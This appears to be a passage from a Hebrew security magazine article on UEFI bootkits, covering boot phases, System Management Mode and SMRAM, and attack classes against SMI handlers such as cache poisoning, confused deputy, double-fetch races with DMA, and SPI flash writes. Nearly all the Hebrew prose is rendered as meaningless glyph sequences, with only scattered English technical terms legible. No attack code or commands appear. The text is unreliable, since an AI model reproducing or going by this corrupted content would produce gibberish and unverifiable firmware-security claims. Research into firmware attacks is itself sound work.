¶ ˧˸ˣ˶˧˷ ˞˪˞ ˸ˣ˵˧˯˲ ˸ˣˬ˧˧˵ ˞˪ UEFI 

 

ˢ˶˴˵˟ ˢ˧˧˪˰ˢ ˨˧˪ˢ˸: 

¶  ˢ˥˷ˣ˵ˢ˴˟ ˸˶ˬ˷ˮϥ˲˧ SPI ˫˞ˢ ˥ˣ˪ ˪˰Φ ˵˪ˡˮ ˟˷˥ˬˢ ˶˷˞˩Σ ˟ ˡ˥ˣ˧ˬ ˶ˣˤ˞˪ ˵˸˰ˣˬ ˭˩ˣ˸ˢπRAM Φ 

¶ ˫˧˧˦˧˶˵ ˫˧˶˟˧˧˶ˡ ˫˧ˮ˰˦ˮΣ ˧˶˧˷˩ˬ ˪˰ ˫˧˞˶˥˞˷ ˫˧˶˟˧˧˶ˡ ˢˬˠˣˡ˪ PCI 

¶ ˰ ˭˰˦ˮ ˶ˡˣ˞˪˦ˣ˟ˢϦ˫˷˟ ˪ˣˡˣˬ ˧ bootmgfw.efi 

¶ ˰ ˭˰˦ˮ ˪ˮ˶˵ˢϦ˫˷˟ ˪ˣˡˣˬ ˧ winload.efi 

UEFI Code BOOTMGR WinLoad 
Kernel & 
Drivers 



 
 

Bootkits - It's Never Deep Enough 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмпл, ˧ˮˣ˧ нлнн  ом 
 

˸ˣ˷˪ˣ˥ ˶˟˰˪ ˶˟˰ˬˢ BIOS 

 ˸ˣ˩˶˰ˬ˪ ˶˟˰ˬˢ˸ˣ˯˯ˣ˟ˬ UEFI ˭ˣˠ˩ ˢˮˠˢ ˸ˣ˩˶˰ˬ ˪˷ ˢ˰ˬ˦ˢ ˢ˸˧˞ ˢ˞˧˟ˢ˷ Secure Boot ύˢ˶˴˵˟Σ 

ˢ ˭ˣˠ˩ ˫˧˟˧˩˶ ˸ˣˮ˷˪ ˣˮ˸˧˞ˬ ˰ˣˮˬ˪ ˢˡ˰ˣˮ˷ ˢˮˠˢ ˸˩˶˰ˬπBootloader ˢ˧˧˪˰ˢ ˭ˬˤ˟Σό  ˫˧˲˵ˣ˸˪ ˢˬ˶ˠ

ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸˧˧˪˰ ˨ˣ˸˪ ˵ˣˬ˰ ˶˸ˣ˧ ˱˞ ˪˩˸˯ˢ˪Σ ˢ ˶ˬˣ˪˩πBIOS ύ ˢ˷˧ˠ ˧ˮ˲˪ ˭ˣ˶˥˞ˢ ˟˪˷ˢ ˫˴˰˟

ˬ˴˰ ˢ˶ˬˣ˥˪Φsό ˢ ˸˲˧˵˸πBIOS  ˸˞ ˶˧˞˷ˢ˪ ˸ˣ˪ˣ˩˧˷ ˸ˣˮ˩ˣ˯ˬ ˶˸ˣ˧ ˢ˟˶ˢ ˸ˣ˲˵˸ˬ ˶ˣ˴˧˪ ˣˮ˪ ˶˷˲˞˸

˥˧˷˵ˢ ˵˯˧ˡˢ ˪˷ ˢ˲˪˥ˢ ˧˶˥˞ ˣ˪˧˲˞ˣ ˷ˡ˥ˬ ˢˮ˵˸ˢ ˧˶˥˞ ˫ˠ ˢ˰ˣˠˮ ˸˩˶˰ˬˢ ύ ˢ˧ˢ˧ ˶˞˷ˮ˷ ˭ˣ˶˸˲ˢ

ˢ ˸˞ ˞˷ˣˮ˷ ˫˞ˢ ˥ˣ˪ ˸˲˪˥ˢπBIOS Φό 

 
˸ˣ˧˵ˣ˥ 

 ˢˤ˧˞˟ˣ ˡ˴˧˩ ˢ˶˧ˡˠˢ˷ ˸˧˲˧˴˲˯ ˢ˧˴˵˧˲˧˴˲˯ ˢ˸˧˧ˢ ˞˪ ˶˟˰˟ ˸ˮˬ ˪˰ ˡˣˬ˰˪ ˸ˣ˩˧˶˴ ˸ˣ˧ˮ˶˴˧ ˫˧˵ˣ˥

˪ ˥˸˲˪πEFIΣ ˸ˣ˷˪ˣ˥ ˭˟ˣˬ˩ˣ ˪ˣ˟˪˟ ˶˴˧˷ ˢˬΦ ˢ˶ˡˠˢ˟Σ ˪ ˵˪ˣ˥ ˢ˧˧˪˰ˢ ˨˧˪ˢ˸πп  ˫˧˟˧˧˥˷ ˫˧˟˪˷

˫˧˧˵˸ˢ˪Υ 

¶  SECπ ˢˬ ˳˶˷ ˡˣ˵πSPIΦ ˡ˟˰ˬ ˧˶ˠˣ˞ ˸˶ˤ˰˟ ˭ˣ˶˩ˤˢ ˪ˣ˥˸˞ ˪˰ ˧˞˶˥˞Φ 

¶ PEI π ˫˧˲˯ˣˮ ˢ˶ˬˣ˥ ˧˟˧˩˶ ˪˥˸˞ˬΣ ˢ ˫ˢ˧ˮ˧˟πmemory controller 

¶  DXEπ ˢ ˸˞ ˪˥˸˞ˬSMM- ύ˶ˣ˴˧˵ ˪˷ (System Management Mode 

¶ BDS π ˫˧ˮˣ˷ ˢ˶ˬˣ˥ ˧˟˧˩˶ ˪˥˸˞ˬΣ ˭ˣˠ˩ PCI ˳ˣ˶˪ ˪˧˥˸ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˭˩˧ˢˬ ˷˲˥ˬˣ ύ˸˩˶˰ˬ ˷˲˥ˬ 

UEFIΦό 

 
SMM π  System Management Mode 

˟˷˥ˬ˟ ˫˧ˮˣ˷ ˫˧˟˞˷ˬ˪ˣ ˢ˥˷ˣ˵˪ ˸ˣ˰ˠˣˮˢ ˸ˣ˧˴˵ˮˣ˲ ˷˧ˬ˷ˢ˪ ˡ˰ˣˮ˷ ˡ˟˰ˬˢ ˪˷ ˡ˥ˣ˧ˬ ˟˴ˬ ˞ˬˠˣˡ˪Υ 

˥ˣ˩ˢ ˪ˣˢ˧ˮ ύACPIπ ˨˷ˬˢ˟ ˨˩ ˪˰ ˶ˣ˟˰ˮΣό ˢ ˭ˣ˩ˡ˰πBIOS ˢ ˪ˣˢ˧ˮˣπSECURE BOOT Φ 

˷ˬ˸˷ˬ˪ ˸˧˞˶ˮ ˧˸˪˟˷ ˢ˴˶ˢ ˸˟˧˟˯ ˵˲˯ˬ ˞ˣˢ˷ ˞ˣˢ ˢˤˢ ˟˴ˬ˟ ˡ˥ˣ˧ˬ˷ ˢˬ ύ ˟˴ˬˢ ˸˞ ˸ˣˣ˷ˢ˪ ˫˞

π˪ring0 ˪ˮ˶˵˪ ˭ˣ˸ˮ˷Σ ˟ ˞˴ˬˮ ˟˴ˬˢπring-2Φό ˢ˷ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˞πSMM ˞˶˵ˮ ˣ˟ ˪ˢˮ˸ˬ  SMRAM  ˞ˣˢˣ

˰ ˭ˠˣˬϦ ˧ˢ˶ˬˣ˥ˢΦ ˢ ˸ˣ˧˴˵ˮˣ˲˪ ˸˷ˠ˪ ˸ˮˬ ˪˰πSMMΣ ˢ˴˶˷ ˢˮ˩ˣ˸ˢ ύ˸ˣ˞˷˶ˢ ˸˪˰˟ ˢ˧ˢ˸˷ ˳ˣ˥ˮ 

ring0ό ˸ˡ˥ˣ˧ˬ ˢ˵˧˯˲ ˸˶˴˧˧ˬ ύSystem Management Interruptό ˪ ˸˞˶ˣ˵˷πSMI Handler  ˣˡ˧˵˲˸˷

ˡ˥ˣ˧ˬ ˭ˣ˶˩ˤ ˶ˣˤ˞˪ ˳ˣ˥ˮˢ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˶˧˟˰ˢ˪Σ ˢ ˶ˣˤ˞˟ ˨˧˷ˬˢ˪ˣ ˷ˣˬ˧˷˪ ˣ˸ˣ˞ ˪ˣ˰ˮ˪πSMMΦ 

˟ ˳˶˷ ˡˣ˵πSMM ˶ˣˤ˞ ˪˩˪ ˟ˣ˸˩˪ ˪ˠˣ˯ˬ RAM ύUsermodeΣ ˡˣˬ ˪ˮ˶˵ό  ˢ˟˧˸˩ ˶˷˲˞˪ ˪ˠˣ˯ˬ ˱˯ˣˮ˟ˣ

ˢ˥˷ˣ˵˪ ύˣ˪˞ ˸ˣ˞˷˶ˢ˟ ˳˶˷ ˡˣ˵˟ ˢ˦˧˪˷ ˸ˠ˷ˢ ˸ˮ˩ˣ˯ˬ ˢˬ˩ ˡ˰ ˤˬ˶ˬ˷ ˢˬ Φό ˫˧ˬ˶ˣˠ ˧ˮ˧ˬ ˪˩ ˷˧

ˡˣ˵˪ ˫ˣ˶ˠ˪ ˫˧˪ˣ˩˧˷ SMM ˞˶˵˧ˢ˪ ύ˶ˬˣ˪˩Σ ˪ ˫ˣ˶ˠ˪πSMIΣό  ˭ˣ˩ˡ˰ˣ ˥ˣ˩ ˪ˣˢ˧ˮ˪ ˸ˣ˶ˣ˷˵ˢ ˸ˣ˪ˣ˰˲ ˞ˬˠˣˡ˪

ˢ˥˷ˣ˵Φ 
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˴˧˩˪ ˢ˟˧˸˩˪ ˰˧ˠˮ ˡπBIOSΚ ˶ˣ˟˰˪ ˨˶˦˴ˮ˷ ˨˶ˡˢ 

˸˲˧˵˸˪ ˸ˣ˵˧ˮ˩˦ ˪˰ ˶˟ˡˮ˷ ˧ˮ˲˪ BIOSΣ ˢ ˪˰ ˞˴ˬˮ˷ ˣˬ˴˰ ˡˣ˵ˢ ˶ˬˣ˪˩πSPIΣ  ˣˮ˥ˮ˞ ˡ˴˧˩ ˭˧˟ˢ˪ ˨˧˶˴

ˢˤˢ ˟˪˷˪ ˫˧˰˧ˠˬ ˪˪˩˟Υ 

¶ ˭ˣ˷˞˶ˢ ˟˪˷˟Σ ˢˬ ˡˣ˵ ˸˴˶ˢ ˠ˧˷ˢ˪ ˨˶˦˴ˮ ˣˮ˥ˮ˞πUserland ύ˞ˬˠˣˡ˪ ˸ˣ˶˩ˣˬ ˸ˣ˷˪ˣ˥˟ ˷ˣˬ˧˷ 

EternalBlue Φό 

¶ ˭˩ˬ ˶˥˞˪Σ ˸ˣ˵˧ˮ˩˦ˢ ˸˥˞˟ ˷ˬ˸˷ˢ˪ ˨˶˦˴ˮ ˡˣ˵ˢ ˸˴˶ˢ ˸˶ˤ˰˟ ύ˭ˢ˧˪˰ ˶ˣ˟˰ˮ˷ό  ˠ˧˷ˢ˪ ˸ˮˬ ˪˰

ˢ ˸˟˧˟˯˟ ˡˣ˵ ˸˴˶ˢπSMMΦ 

¶  ˢ ˸˟˧˟˯˟ ˡˣ˵ ˸˴˶ˢ ˣˮˠ˷ˢ˷ ˶˥˞˪πSMMΣ ˢ ˪˰ ˢ˟˧˸˩ˢ ˸ˣˮˠˢ ˸˞ ˪˦˟˧ ˡˣ˵ˢπSPI  ˸ˮ˸˧ˮ ˨˩˟ˣ

˸ˣˮˣ˷ ˸ˣ˦˧˷˟ ˢ˥˷ˣ˵ˢ ˪˞ ˸ˣ˶˧˷˧ ˟ˣ˸˩˪ ˸ˣ˶˷˲˞ˢ ˣˮ˪ 

¶  ˢ ˪˞ ˸ˣ˶˧˷˧ ˟ˣ˸˩˪ ˸ˣ˶˥˞ ˫˧˩˶ˡ ˭ˮ˷˧πSPIΣ ˢ˥˷ˣ˵ˢ ˭ˣ˩ˡ˰ ˭ˣˮˠˮˬ˟ ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮ ˣˬ˩Φ 

˸ˣˬˡ˵˸ˬ ˡˣ˞ˬ ˸ˣ˪ˣ˩˧ ˸ˣ˷˶ˡˮˣ ˢ˷˵ ˡˣ˞ˬ ˞˧ˢ ˢ˪˞ˢ ˸ˣ˦˧˷ˢ ˪˷ ˢ˷ˬ˷ˢˢ ˪˰ˣ˲˟˷ ˭˟ˣˬ˩Σ  ˫˶ˠ˷ ˢˬ

˸˧˦˶ˣ˞˧˸ ˵˶ ˸ˣˬ˧˧˵ ˣ˧ˢ ˸ˣ˲˵˸ˢˢ ˫˧ˮ˷ ˢˬ˩ ˨˷ˬ˟˷ ˨˩˪Φ ˨˩˪ ˱˯ˣˮ˟Σ  ˸ˣ˧ˮ˶ˡˣˬˢ ˢˮˠˢˢ ˸ˣ˩˶˰ˬ

˪ ˸ˣˬ˷˸ˣ˶˞ˣ˸ˬˢ ˸ˣ˵˧ˮ˩˦˟ ˷ˣˬ˧˷ ˪˰ ˶˸ˣ˧˷ ˢˬ˩ ˸ˣ˷˵ˢ˪ ˢ˶˦ˬ ˭ˬ˴˰Φ ˣˮ˪ˤˬ˪Σ  ˸ˣˮˣ˸ˮ ˸ˣˮˠˢˢ ˟ˣ˶

˸ˣ˧ˮ˶˴˧ˢ ˪˷ ˫ˢ˧ˡ˯˥˪Σ ˨˷ˬˢ˟ ˢ˞˶ˮ˷ ˧˲˩˷Σ ˸ˣ˧˪ˬ˧˦˲ˣ˞ˢ ˸ˣˮˠˢˢ ˸˞ ˰˧ˬ˦ˢ˪ ˞˪ ˸ˣ˶˥ˣ˟Φ 

ˢ ˸˟˧˟˯˟ ˡˣ˵ ˸˴˶ˢπSMM 

ˢ ˡˣ˵ ˪˷ ˶˧˷˧ ˧ˣˮ˧˷ ˪˰ ˶ˣ˟˰ˮ˷ ˧ˮ˲˪πSPIΣ ˯ˬ ˪˰ ˶ˣ˟˰ˮϥ ˣ˶˷˲˞ˬˢ ˸ˣˮˣ˷ ˸ˣ˵˧ˮ˩˦ ˡˣ˵ ˳˧˶ˢ˪ ˣˮ˪ ˸

ˢ ˸˟˧˟˯˟πSMMΦ ˸ˣ˧ˮ˶ˡˣˬ ˸ˣ˩˶˰ˬ˪ ˸ˣ˧˦ˮˣˣ˪˶ ˞˪ ˸ˣ˵˧ˮ˩˦ˢˬ ˵˪˥ ύˣˮ˶˩ˤˢ ˶˟˩˷ ˣˬ˩ ˨˞Σ  ˶˯˥ ˞˪

˸ˣ˩˶˰ˬ Legacy ˫˧˧˦˧˶˵ ˸ˣˬˣ˵ˬ˟ ˫ˣ˧ˢ ˫ˠ ˸ˣˬ˧˧˵˷Σ ˢ˧˪˰ ˫ˠ ˶ˣ˟˰ˮ ˤ˞iό  ˸ˣˬ˧˧˵ ˭˩ ˸ˣ˵˧ˮ˩˦ˢˬ ˵˪˥˪ˣ

˸ˣ˧ˮ˶˴˧ˢ ˪˷ ˢ˰ˬ˦ˢ˟ ˸ˣ˧ˣ˪˸ ˭ˢ ˨˞ ˸ˣˮˠˢΣ ˭ˢ˟ ˸˷ˬ˸˷ˬ ˞˪ ˫˧˟˶ ˫˧˶˵ˬ˟˷Φ 

˧˪˪˩ ˭˲ˣ˞˟Σ ˪ ˳ˣ˥ˬ ˸ˣ˶˦ˬ ˦ˠ˶˦˪ ˢ˧ˢ˧ ˢ˲˧˵˸ˢ ˭ˣ˶˵˰πSMM ˰ ˸ˣ˩˶˴ˮ˷Ϧˢ ˧πSMM  ˣˢ˷˪˩ ˟˪˷˟

˰ ˧ˣˮ˧˷˪ ˸ˣˮˣ˸ˮˣϦˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˧Σ ˶˸˧ˢ ˭˧˟Υ ˫˧˰˧˟˴ˬ ˣ ˸ˣ˧˴˵ˮˣ˲˪πBuffer ˢ ˡˣ˵˷πSMI ˣ˪ ˰˴˟ˬ 

Parsing Φ 

 

Caching Attack 

ˢˬ˴˰ ˢ˲˵˸ˢˢ ˪˰ ˶˟ˡˮ˷ ˧ˮ˲˪Σ ˶˧˟˯ˮ н ˢ ˭ˣˮˠˮˬ ˪˷ ˸ˣ˦˧˷πCachingΥ 

¶  Write Backπ ˪ ˵˶ ˟˸˩ˮ ˰ˡ˧ˬˢ ˢ˟˷ ˢ˦˧˷π˿ŀŎƘŜ ˪ ˵˸˰ˣˬ ˶˸ˣ˧ ˶˥ˣ˞ˬˣπDRAM 

¶ Write Through π ˪ ˫ˠ ˟˸˩ˮ ˰ˡ˧ˬˢ ˢ˟˷ ˢ˦˧˷πCache ˪ ˫ˠˣπDRAM ˭ˬˤˢ ˣ˸ˣ˞˟ 

˟ ˶˸ˣ˧ ˵˯˰˸ˮ ˣˮ˥ˮ˞πWB ˢ˲˵˸ˬˢ ˸ˤ˩˶˸ˬ ˢˤˢ ˟˴ˬ˟˷ ˧ˮ˲ˬΦ ˢˤˢ ˟˴ˬ˟Σ ˢ˟˧˸˩ˢ ˸ˣ˪ˣ˰˲ ˪˩κ ˢ˞˧˶˵

ˢ ˶˟˰ ˪˞ ˸ˣ˰˴˟˸ˬπCache ˢ ˶˟˰ ˪˞ ˸ˣ˶˧˷˧ ˞˪ˣ-RAMΣ ˣˮ˸ˣ˞ ˫˧ˮ˧˧ˮ˰ˬ ˞˪ ˰ˠ˶˩˷ ˫˧˟˴ˬ˟ ˭˩ˡˣ˰ˬ˷Φ 
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˭ˣ˷˞˶ˢ ˟˪˷˟Σ ˢ ˸˦˧˷ ˸˞ ˢˮ˷˧ ˱˵ˣ˸ˢπCaching ˟˴ˬ˪ WB ˰Ϧ˫˧˧ˡˣ˰˧ ˫˧˶ˠˣ˞˪ ˢ˟˧˸˩ ˧Φ  ˢ˪˞ ˫˧˶ˠˣ˞

˫˧ˮˣ˩ˬ MTRR ˢ ˸˦˧˷ ˸˞ ˶˧ˡˠˢ˪ ˫˸˶˦ˬˣπCaching ˸˩˶˰ˬ˟Φ ˢ ˢ˦˧˷˟ ˷ˣˬ˧˷ ˪˷ ˢ˶˦ˬˢ ˞˧ˢ ˸˞ˤ

ˢ˷πCache ˭ˣ˶˩˧ˤˢˬ ˡˣ˵ ˳˧˶ˢ˪ ˢ˴˶˸ ˸˩˶˰ˬˢ ˶˷˞˩ ˸ˣˮˣ˧˪˰ ˪˟˵˧Φ 

ˢ ˶ˣˤ˞˪ ˢ˟˧˸˩ ˰˴˟˪ ˢ˯ˮ˧ ˱˵ˣ˸ˢ ˭˩ˬ ˶˥˞˪πSMRAMΦ ˟ ˞˴ˬˮ ˭˧˧ˡ˰ ˱˵ˣ˸ˢ˷ ˪˪ˠ˟πring0  ˸ˣ˞˧˶˵ˢ

ˣ˪˷˩˧ ˫ˮˬ˞Σ ˪ ˣ˯ˮ˩˧˧ ˭˩ ˨˞πCache Φ 

˱ˣ˯˟˪Σ ˪ ˞˶˵˸˷ ˢˬˣˤ˧ ˢ˵˧˯˲˪ ˫ˣ˶ˠ˧ ˱˵ˣ˸ˢπSMI Handler ύ˰Ϧ ˦˶ˣ˲˪ ˢ˟˧˸˩ ˧ˡ˟˰ˬ˟ ˧ˡˣ˥˧˧ 0xb2Φό 

˪˧ˠ˶ˢ ˫˞˶ˢˬ ˟˸˩˧ˢ˪ ˨˧˶˴˷ ˰ˡ˧ˬˢ ˸˞ ˸˥˵˪ ˫ˣ˵ˬ˟Σ ˪ ˪˩ ˫ˡˣ˵ ˢˮ˲˧ ˞ˣˢπCache  ˸ˣ˟˧˸˩ ˷˲˥˪ ˧ˡ˩

˟ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˪ ˸ˣˮˣ˶˥˞πSMMΣ ˱˵ˣ˸ˢ ˪˷ ˸˪˷ˣ˩ˢ ˢ˞˧˶˵ˢ ˸˞ ˞˴ˬ˧ ˞ˣˢ ˫˷Φ  ˰ˡ˧ˬˢ ˸˞ ˟ˣ˸˩˧ ˞ˣˢ

ˢ ˶ˣˤ˞˪ ˱˵ˣ˸ˢ ˪˷ ˧ˮˣˡˤˢπSMRAMΦ 

ˡˣ˰˧ ˫˧˶ˠˣ˞ ˞ˣˢ ˪˦ˮ˧˞ ˪˷ ˭ˣ˶˸˲ˢ ˫˧ˬ˧˧˵ ˣ˧ˢ˷ ˫˧˧ˡˣ˰˧ˢ ˫˧˶ˠˣ˞ˢ ˪˰ ˭ˣ˶˸˧ ˫˧˪˟˵ˬ˷ ˫˧˷ˡ˥ ˫˧˧

ˢ ˟˴ˬ˟ ˶˟˩ ˸˩˶˰ˬˢ˷˩ ˵˶ ˟ˣ˸˩˪ ˭˸˧ˮ ˫ˢ˧˪˞˷πSMMΦ 

 

Confused Deputy 

˸˧ˠˣ˪ ˢ˧˰˟˪ ˧ˣˮ˧˩Σ ˰ˡ˧ˬ ˸˥˦˟˞˟ ˶˵˧˰˟Σ ˷ˬ˸˷ˬ ˣ˟˷ ˟˴ˬ ˶˞˸ˬˢκ ˸ˣ˩ˣˬˮ ˸ˣ˞˷˶ˢ ˸˪˰˟ ˸˩˶˰ˬ

˷ˬ˸˷ˬˬ ˧ˬ˧˦˧ˠ˪ ˸ˣ˶˧˷ ˸˷˵˟ˬκ˸ˣˢˣ˟ˠ ˸ˣ˞˷˶ˢ ˸˪˰˟ ˸˩˶˰ˬΣ ˞ ˢ˪ˣ˰˲ ˰˴˟˪ ˢ˪ ˸ˬ˶ˣˠ ˪˰ˣ˲˟ ˨

˸˧ˮˣˡˤΦ ˪ ˫˧˥˪˷ˮˢ ˫˧˶˦ˬ˶˲ ˷˧ ˶˷˞˩πSMI HandlerΣ ˫˧˶ˠˣ˞˟ ˫˧ˮ˯˥ˣ˞ˬ ˫ˢ ύRSI,RDI,RDX,RBP ˣ˩ˣΦόϥ 

˫˧˸˧˰˪Σ ˭ˣ˶˩ˤ˟ ˸ˬ˧ˣ˯ˬ ˸˟ˣ˸˩ ˶˟˰˪ ˶˦ˮ˧ˣ˲ ˪˧˩˧ ˫˧˶ˠˣ˞ˢ ˡ˥˞˷ ˭˩˸˧˧Φ sxπSMI Handler ˞˶˵˧κ ˟ˣ˸˩˧

˸˟ˣ˸˩ ˢ˸ˣ˞˪ Φ 

ˢ ˶˷˞˩ ˢ˰˧ˠˬ ˢ˧˰˟ˢπSMI Handler  ˪˧ˠ˶ˢ ˫˞˶˟ ˞˧ˢ ˸˟ˣ˸˩ˢ˷ ˷˞˶ˬ ˥˧ˮˬ ˞ˣˢ˷ ˸˞ˤ˩ ˢ˶ˣ˴˟ ˟ˣ˸˩

˟ ˞˪ˣπSMRAMΦ ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˟ ˸˟ˣ˸˩ ˠ˧˷ˬ ˱˵ˣ˸ˢˣ ˢˡ˧ˬ˟πSMRAM  ˡ˥˞˟ ˢ˸ˣ˞ ˭˯˩˞ˬˣ

˶˦ˬ˶˲˩ ˫˧˶ˠˣ˞ˢΣ sπSMI Handler ˰ˡ˧ˬ ˫˷˪ ˟ˣ˸˩˪ ˪ˣ˪˰ Φ 

ˢ˧˴˵ˮˣ˲ ˸ˬ˧˧˵ ˫˷˟ SmmIsBufferOutsideSmmValid  ˞˧ˢ ˸˟ˣ˸˩ˢ ˫˞ˢ ˸˵ˡˣ˟ ˶˷˞ˢ ˥ˣˣ˦˟πSMRAMΣ 

˭ˣˠ˩ ˸ˣˮˠˢ ˱ˣ˵˰˪ ˸ˮˬ ˪˰ ˫ˢ˧˪˞ ˟ˣ˸˩˪ ˪ˣ˩˧ ˱˵ˣ˸˷ ˫˧˲˯ˣˮ ˫˧˶ˣˤ˞ ˫˧ˬ˧˧˵˷ ˪˪ˠ˟ ˧˵˪˥ ˭ˣ˶˸˲ ˣˢˤ ˨˞ 

VT-xΦ 

ˢ˷ ˞ˣˢ ˧˶˷˲˞ˢ ˭ˣ˶˸˲ˢπSMRAM ˢ˞˧˶˵˪ ˸ˣ˷ˬ˷ˬ˷ ˸ˣ˰ˣ˟˵ ˸ˣ˟ˣ˸˩ ˪˧˩˧κ ˢ˷˧ˠˢ˷ ˰ˡ˧ˬ ˪˷ ˢ˟˧˸˩

ˢˬˣ˯˥ ˢ˧ˢ˸ ˭ˢ˧˪˞ Φ 

˸˧ˠˣ˪ ˢ˧˰˟ ˣˤ˷ ˧ˮ˲ˬΣ  ˸ˣ˩˶˰ˬ˟ ˫ˠ ˸ˬ˧˧˵ ˞˧ˢ˭˶˴˧ ˪˩ ˪˷ ˢ˰ˬ˦ˢ˟ ˧ˣ˪˸ ˢ˪˷ ˭ˣ˵˧˸ˢˣ ˸ˣ˧ˮ˶ˡˣˬ BIOS 

ˣˬ˴˰ ˧ˮ˲˟Φ 
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Time-Of-Check-Time-Of-Use 

 

˫˧˸˧˰˪Σ ˢ ˪˷ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˟ ˸˞˴ˬˮ ˞˪ ˢ˧˪˞ ˫˧˟˸ˣ˩˷ ˸˟ˣ˸˩ˢ˷ ˢ˵˧ˡ˟ ˫ˠπSMRAM ˢ˵˧˲˯ˬ ˞˪Φ 

˟ ˪˲˦˪ ˶˟ˣ˰ ˡ˟˰ˬˢ ˶˷˞˩πSMIΣ ˪ ˷ˣ˶ˡˢ ˰ˡ˧ˬˢ ˪˩ ˸˞ ˶˧˟˰ˬ ˞ˣˢπSMRAM ˫˧˧ˬˣ˵ˬ ˫˧ˮ˸˷ˬ˪Σ  ˡ˥˞

˟ ˳˶˷ ˨˧˪ˢ˸ˢ ˭˧˟ ˶˟ˣ˰˷ ˰ˡ˧ˬ ˭˯˩˞˧˷ ˸ˣˬˣ˵ˬˢπring0 ˟ ˳˶˷ ˨˧˪ˢ˸˪πSMM ˢ˧ˢ˧ CommBufferΦ 

˫˧˥˸˲ˬˢ ˶˷˞˩ ˧ˣ˦˧˟ ˧ˡ˧˪ ˢ˞˟ ˸˶˟ˣˡˬˢ ˢ˷˪ˣ˥ˢ ύˢ ˸ˣ˧ˮ˶˴˧πBIOSό  ˸˞ˤ˩ ˢ˶ˣ˴˟ ˡˣ˵ˢ ˸˞ ˫˧˟˸ˣ˩

˪˷ ˟˴ˬ ˶˴ˣˮ˷ Double FetchingΦ ˣˮ˪˷ ˢ˶˵ˬ˟ ˶ˬˣ˞ ˢˤ˷ ˢˬΣ ˪˷ ˭˩ˣ˸ˢ ˸˞˷ ˸˟ˣ˸˩ˢ˷ ˢ˵˧ˡ˟ˢ˷ ˢ

˟ ˸ˣ˟ˣ˸˩ˢ ˥ˣˣ˦˟ ˸˞˴ˬˮ ˞˪ ˸ˣˮ˷˪ ˫˧˴ˣ˶ ˣˮ˞πSMRAM ˢˮ˧˵˸ ˢ˶ˣ˴˟ ˸˧˷˰ˮΣ  ˢˮ˸˷ˬˢ ˪˰ ˶ˬˣ˪˩

˟ ˭˯˥ˣ˞ˬ˷ ˧ˬˣ˵ˬˢπSMRAM ύˣˮ˪˷ ˢ˶˵ˬ˟ Σsmm_field_18Σό  ˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˭ˣ˶˩˧ˤˢ ˪˰ ˢ˪ˣ˰˲ˢ ˨˞

ˢ ˪˰ ˸˧˷˰ˮπCommBuffer Φ 

ˢˤ˟ ˢ˧˰˟ˢ ˢˬΚ ˡ˟˰ˬˢ ˶˷˞˩κ˟ ˪˲˦˪ ˸˶˟ˣ˰ ˢ˟˧˪πSMIΣ ˫˧ˡ˟˰ˬˢ ˪˩κ˸ˣ˟˧˪Σ  ˡ˟˰ˬ˟ ˢ˵˧˯˲ ˸˥˪˷ˮ

˟˴ˬ˪ ˭˪ˣ˩ ˸˞ ˢ˶˧˟˰ˬ˷ SMM ˸˲˧˵˸ ˰ˣˮˬ˪ ˧ˡ˩ DMA ˸ˣ˶˥˞ˢ ˸ˣ˟˧˪ˢ ˪˷Σ  ˫˧ˬ˧˧˵ ˸˩˶˰ˬ˟ ˨˞

˸ˣ˪ˣ˩˧ ˧˪˰˟ ˫˧˲˯ˣˮ ˫˧˟˧˩˶ DMA ύ˧˲˶ˠˢ ˯˧˦˶˩ˢ ˢˬˠˣˡ˪Φό ˨˩˪ ˱˯ˣˮ˟Σ sπCommBuffer  ˳ˣ˥ˬ ˞˴ˬˮ

ˢ ˶ˣˤ˞˪πSMRAMΣ ˧˟˧˩˶ ˡ˴ˬ ˢ˲˧˵˸ ˸ˣ˶˷˲˞˪ ˣ˸ˣ˞ ˥˸ˣ˲˷ ˢˬ DMA ˟ ˫˧˶˥˞˸˩˶˰ˬΦ 

ˢ˲˵˸ˬ ˸˰˟ ˸ˣ˶˵˪ ˪ˣ˩˧˷ ˢˬΣ  ˰˴˟˸˸ ˭˩ˬ ˶˥˞˪ ˡ˧ˬˣ ˢ˥˪˴ˢ˟ ˶ˣ˟˰˸ˣ ˰˴˟˸˸ ˸˟ˣ˸˩ˢ ˪˰ ˢ˵˧ˡ˟ˢ˷

˸˲˵˸ˬ DMA ˢ ˪˷ ˣ˩˶˰ ˸˞ ˢˮ˷˸˷πCommBuffer ˟ ˶ˣˤ˞ ˶˟˰˪ ˰˧˟˴ˢ˪πSMRAMΦ  ˸˞ ˱ˣ˵˸˪ ˭˸˧ˮ ˞˪

πsSMRAM ˭ˣ˩ˮ ˶ˡˠˣˢ ˞ˣˢ ˣ˟˷ ˟˴ˬ˟˷ ˧ˮ˲ˬ ˸ˣ˶˧˷˧Σ ˸ˣ˲˵˸ˬ ˧ˮ˲ˬ ˭ˠˣˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞ˣˢ DMAΦ 

ˢ ˭˩ˣ˸ ˸˞ ˵˧˸˰ˢ˪ ˞˧ˢ ˢˤ˩ ˷˧˥˶˸ ˰ˣˮˬ˪ ˸˧˶˷˲˞ ˨˶ˡπCommBuffer ˟ ˫˧˧ˬˣ˵ˬ ˫˧ˮ˸˷ˬ˪πSMRAM 

˫ˢ˧˪˰ ˸ˣ˧˴˪ˣ˲˧ˮˬˢ ˪˩ ˸˞ ˰˴˟˪ˣΦ 
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ˢ ˸˲˧˵˸πSPI ˸ˣ˶˧˷˧ 

˶˟˰˟Σ ˪πSMM ˪ ˢ˶˧˷˧ ˢ˟˧˸˩ ˸˪ˣ˩˧ ˢ˸˧˧ˢπSPI ˢ˥˷ˣ˵ ˭ˣ˩ˡ˰ ˪˷ ˸˩˶˰ˬ ˰˧ˬ˦ˢ˪ ˸ˮˬ ˪˰ Φ ˢˣˣ˧ˢ ˢˤ

